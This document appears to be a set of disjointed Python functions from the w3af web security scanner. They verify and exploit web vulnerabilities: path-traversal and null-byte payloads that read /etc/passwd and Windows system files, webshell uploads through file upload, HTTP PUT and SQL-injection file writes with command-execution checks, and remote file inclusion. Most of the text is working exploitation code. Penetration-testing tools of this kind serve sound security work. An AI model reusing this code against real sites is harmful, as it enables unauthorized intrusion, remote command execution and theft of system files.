def _verifyVuln( self, vuln_obj ): ''' This command verifies a vuln. This is really hard work! @parameter vuln_obj: The vulnerability to exploit. @return : True if vuln can be exploited. ''' # Get the shells extension = urlParser.getExtension( vuln_obj.getURL() ) # I get a list of tuples with code and extension to use shell_code_list = shell_handler.get_shell_code( extension ) for code, real_extension in shell_code_list: # Prepare for exploitation... function_reference = getattr( self._urlOpener , vuln_obj.getMethod() ) data_container = vuln_obj.getDc() data_container[ vuln_obj.getVar() ] = code try: http_res = function_reference( vuln_obj.getURL(), str(data_container) ) except Exception: continue else: cut_result = self._define_exact_cut( http_res.getBody(), shell_handler.SHELL_IDENTIFIER ) if cut_result: self._shell_code = code return True # All failed! return False
def _generate_404_knowledge( self, url ): ''' Based on a URL, request something that we know is going to be a 404. Afterwards analyze the 404's and summarise them. @return: A list with 404 bodies. ''' # Get the filename extension and create a 404 for it extension = urlParser.getExtension( url ) domain_path = urlParser.getDomainPath( url ) # the result self._response_body_list = [] # # This is a list of the most common handlers, in some configurations, the 404 # depends on the handler, so I want to make sure that I catch the 404 for each one # handlers = ['py', 'php', 'asp', 'aspx', 'do', 'jsp', 'rb', 'do', 'gif', 'htm', extension] handlers += ['pl', 'cgi', 'xhtml', 'htmls'] handlers = list(set(handlers)) for extension in handlers: rand_alnum_file = createRandAlNum( 8 ) + '.' + extension url404 = urlParser.urlJoin( domain_path , rand_alnum_file ) # Send the requests using threads: targs = ( url404, ) tm.startFunction( target=self._send_404, args=targs , ownerObj=self ) # Wait for all threads to finish sending the requests. tm.join( self ) # # I have the bodies in self._response_body_list , but maybe they all look the same, so I'll # filter the ones that look alike. # result = [ self._response_body_list[0], ] for i in self._response_body_list: for j in self._response_body_list: if relative_distance_ge(i, j, IS_EQUAL_RATIO): # They are equal, we are ok with that continue else: # They are no equal, this means that we'll have to add this to the list result.append(j) # I don't need these anymore self._response_body_list = None # And I return the ones I need result = list(set(result)) om.out.debug('The 404 body result database has a lenght of ' + str(len(result)) +'.') return result
def _get_local_file_list( self, origUrl): ''' This method returns a list of local files to try to include. @return: A string list, see above. ''' local_files = [] extension = urlParser.getExtension(origUrl) # I will only try to open these files, they are easy to identify of they # echoed by a vulnerable web app and they are on all unix or windows default installs. # Feel free to mail me ( Andres Riancho ) if you know about other default files that # could be installed on AIX ? Solaris ? and are not /etc/passwd if cf.cf.getData('targetOS') in ['unix', 'unknown']: local_files.append("../" * 15 + "etc/passwd") local_files.append("../" * 15 + "etc/passwd\0") local_files.append("../" * 15 + "etc/passwd\0.html") local_files.append("/etc/passwd") # This test adds support for finding vulnerabilities like this one # http://website/zen-cart/extras/curltest.php?url=file:///etc/passwd #local_files.append("file:///etc/passwd") local_files.append("/etc/passwd\0") local_files.append("/etc/passwd\0.html") if extension != '': local_files.append("/etc/passwd%00."+ extension) local_files.append("../" * 15 + "etc/passwd%00."+ extension) if cf.cf.getData('targetOS') in ['windows', 'unknown']: local_files.append("../" * 15 + "boot.ini\0") local_files.append("../" * 15 + "boot.ini\0.html") local_files.append("C:\\boot.ini") local_files.append("C:\\boot.ini\0") local_files.append("C:\\boot.ini\0.html") local_files.append("%SYSTEMROOT%\\win.ini") local_files.append("%SYSTEMROOT%\\win.ini\0") local_files.append("%SYSTEMROOT%\\win.ini\0.html") if extension != '': local_files.append("C:\\boot.ini%00."+extension) local_files.append("%SYSTEMROOT%\\win.ini%00."+extension) return local_files
def _verifyVuln(self, vuln_obj): """ This command verifies a vuln. This is really hard work! :P @parameter vuln_obj: The vuln to exploit. @return : True if vuln can be exploited. """ # The vuln was saved to the kb as a vuln object url = vuln_obj.getURL() method = vuln_obj.getMethod() exploit_dc = vuln_obj.getDc() # Create a file that will be uploaded extension = urlParser.getExtension(url) fname = self._create_file(extension) file_handler = open(fname, "r") # If there are files, if "fileVars" in vuln_obj: # # Upload the file # for file_var_name in vuln_obj["fileVars"]: # the [0] was added here to support repeated parameter names exploit_dc[file_var_name][0] = file_handler http_method = getattr(self._urlOpener, method) response = http_method(vuln_obj.getURL(), exploit_dc) # Call the uploaded script with an empty value in cmd parameter # this will return the shell_handler.SHELL_IDENTIFIER if success dst = vuln_obj["fileDest"] self._exploit = urlParser.getDomainPath(dst) + self._file_name + "?cmd=" response = self._urlOpener.GET(self._exploit) # Clean-up file_handler.close() os.remove(self._path_name) if shell_handler.SHELL_IDENTIFIER in response.getBody(): return True # If we got here, there is nothing positive to report ;) return False
def _verifyVuln(self, vuln_obj): """ This command verifies a vuln. This is really hard work! :P @return : True if vuln can be exploited. """ # Create the shell filename = createRandAlpha(7) extension = urlParser.getExtension(vuln_obj.getURL()) # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells(extension) for file_content, real_extension in shell_list: if extension == "": extension = real_extension om.out.debug('Uploading shell with extension: "' + extension + '".') # Upload the shell url_to_upload = urlParser.urlJoin(vuln_obj.getURL(), filename + "." + extension) om.out.debug("Uploading file: " + url_to_upload) self._urlOpener.PUT(url_to_upload, data=file_content) # Verify if I can execute commands # All w3af shells, when invoked with a blank command, return a # specific value in the response: # shell_handler.SHELL_IDENTIFIER response = self._urlOpener.GET(url_to_upload + "?cmd=") if shell_handler.SHELL_IDENTIFIER in response.getBody(): msg = 'The uploaded shell returned the SHELL_IDENTIFIER: "' msg += shell_handler.SHELL_IDENTIFIER + '".' om.out.debug(msg) self._exploit_url = url_to_upload + "?cmd=" return True else: msg = 'The uploaded shell with extension: "' + extension msg += "\" DIDN'T returned what we expected, it returned: " + response.getBody() om.out.debug(msg) extension = ""
def _upload_webshell(self, driver, vuln_obj): ''' First, upload any file to the target webroot. Once I've found the target webroot (or any other location inside the webroot where I can write a file) try to upload a webshell and test for execution. @parameter driver: The database driver to use in order to upload the file. @parameter vuln_obj: The vulnerability that we are exploiting. @return: The webshell URL if the webshell was uploaded, or None if the process failed. ''' upload_success = False # First, we test if we can upload a file into a directory we can access: webroot_dirs = get_webroot_dirs( urlParser.getDomain(vuln_obj.getURL()) ) for webroot in webroot_dirs: if upload_success: break # w3af found a lot of directories, and we are going to use that knowledgeBase # because one of the dirs may be writable and one may not! for path in self._get_site_directories(): # Create the remote_path remote_path = webroot + '/' + path # Create the filename remote_filename = createRandAlNum( 8 ) + '.' + createRandAlNum(3) remote_path += '/' + remote_filename # And just in case... remove double slashes for i in xrange(3): remote_path = remote_path.replace('//', '/') # Create the content (which will also act as the test_string) test_string = content = createRandAlNum(16) # Create the test URL test_url = urlParser.urlJoin(vuln_obj.getURL(), path + '/' + remote_filename ) if self._upload_file( driver, remote_path, content, test_url, test_string): upload_success = True om.out.console('Successfully wrote a file to the webroot.') break # We can upload files, and we know where they are uploaded, now we # just need to upload a webshell that works in that environment! if upload_success: om.out.console('Trying to write a webshell.') # Get the extension from the vulnerable script extension = urlParser.getExtension( vuln_obj.getURL() ) for file_content, real_extension in shell_handler.get_webshells( extension ): # Create the variables to upload the file, based on the success of the # previous for loop: remote_path = remote_path[:remote_path.rfind('/')] filename = createRandAlNum( 8 ) remote_path += '/' + filename + '.' + real_extension # And now do "the same thing" with the URL test_url = test_url[:test_url.rfind('/')] test_url += '/' + filename + '.' + real_extension + '?cmd=' # Upload & test if self._upload_file( driver, remote_path, file_content, test_url, shell_handler.SHELL_IDENTIFIER): # Complete success! om.out.console('Successfully installed a webshell in the target server!') return test_url return None
def discover(self, fuzzableRequest ): ''' Nothing strange, just do some GET requests to the eggs and analyze the response. @parameter fuzzableRequest: A fuzzableRequest instance that contains (among other things) the URL to test. ''' if not self._exec: # This will remove the plugin from the discovery plugins to be runned. raise w3afRunOnce() else: # Get the extension of the URL (.html, .php, .. etc) ext = urlParser.getExtension( fuzzableRequest.getURL() ) # Only perform this analysis if we haven't already analyzed this type of extension # OR if we get an URL like http://f00b5r/4/ (Note that it has no extension) # This logic will perform some extra tests... but we won't miss some special cases # Also, we aren't doing something like "if 'php' in ext:" because we never depend # on something so changable as extensions to make decisions. if ext == '' or ext not in self._already_analyzed_ext: # Init some internal variables GET_results = [] original_response = self._urlOpener.GET( fuzzableRequest.getURL(), useCache=True ) # Perform the GET requests to see if we have a phpegg for egg, egg_desc in self._get_eggs(): egg_URL = urlParser.uri2url( fuzzableRequest.getURL() ) + egg try: response = self._urlOpener.GET( egg_URL, useCache=True ) except KeyboardInterrupt,e: raise e except w3afException, w3: raise w3 else: GET_results.append( (response, egg_desc, egg_URL) ) # # Now I analyze if this is really a PHP eggs thing, or simply a response that # changes a lot on each request. Before, I had something like this: # # if relative_distance(original_response.getBody(), response.getBody()) < 0.1: # # But I got some reports about false positives with this approach, so now I'm # changing it to something a little bit more specific. images = 0 not_images = 0 for response, egg_desc, egg_URL in GET_results: if 'image' in response.getContentType(): images += 1 else: not_images += 1 if images == 3 and not_images == 1: # # The remote web server has expose_php = On. Report all the findings. # for response, egg_desc, egg_URL in GET_results: i = info.info() i.setPluginName(self.getName()) i.setName('PHP Egg - ' + egg_desc) i.setURL( egg_URL ) desc = 'The PHP framework running on the remote server has a "' desc += egg_desc +'" easter egg, access to the PHP egg is possible' desc += ' through the URL: "'+ egg_URL + '".' i.setDesc( desc ) kb.kb.append( self, 'eggs', i ) om.out.information( i.getDesc() ) # Only run once. self._exec = False # analyze the info to see if we can identify the version self._analyze_egg( GET_results ) # Now we save the extension as one of the already analyzed if ext != '': self._already_analyzed_ext.add(ext)
def _verifyVuln(self, vuln): ''' This command verifies a vuln. This is really hard work! @return : True if vuln can be exploited. ''' # Create the shell extension = urlParser.getExtension( vuln.getURL() ) # I get a list of tuples with file_content and extension to use shell_list = shell_handler.get_webshells( extension ) for file_content, real_extension in shell_list: # # This for loop aims to exploit the RFI vulnerability and get remote # code execution. # if extension == '': extension = real_extension url_to_include = self._gen_url_to_include(file_content, extension) # Start local webserver webroot_path = os.path.join(get_home_dir(), 'webroot') webserver.start_webserver(self._listen_address, self._listen_port, webroot_path) # Prepare for exploitation... function_reference = getattr(self._urlOpener, vuln.getMethod()) data_container = vuln.getDc() data_container[vuln.getVar()] = url_to_include try: http_res = function_reference(vuln.getURL(), str(data_container)) except: successfully_exploited = False else: successfully_exploited = self._define_exact_cut( http_res.getBody(), shell_handler.SHELL_IDENTIFIER) if successfully_exploited: self._exploit_dc = data_container return SUCCESS_COMPLETE else: # Remove the file from the local webserver webroot self._rm_file(url_to_include) else: # # We get here when it was impossible to create a RFI shell, but we # still might be able to do some interesting stuff # function_reference = getattr( self._urlOpener , vuln.getMethod() ) data_container = vuln.getDc() # A port that should "always" be closed, data_container[ vuln.getVar() ] = 'http://localhost:92/' try: http_response = function_reference( vuln.getURL(), str(data_container) ) except: return False else: rfi_errors = ['php_network_getaddresses: getaddrinfo', 'failed to open stream: Connection refused in'] for error in rfi_errors: if error in http_response.getBody(): return SUCCESS_OPEN_PORT return NO_SUCCESS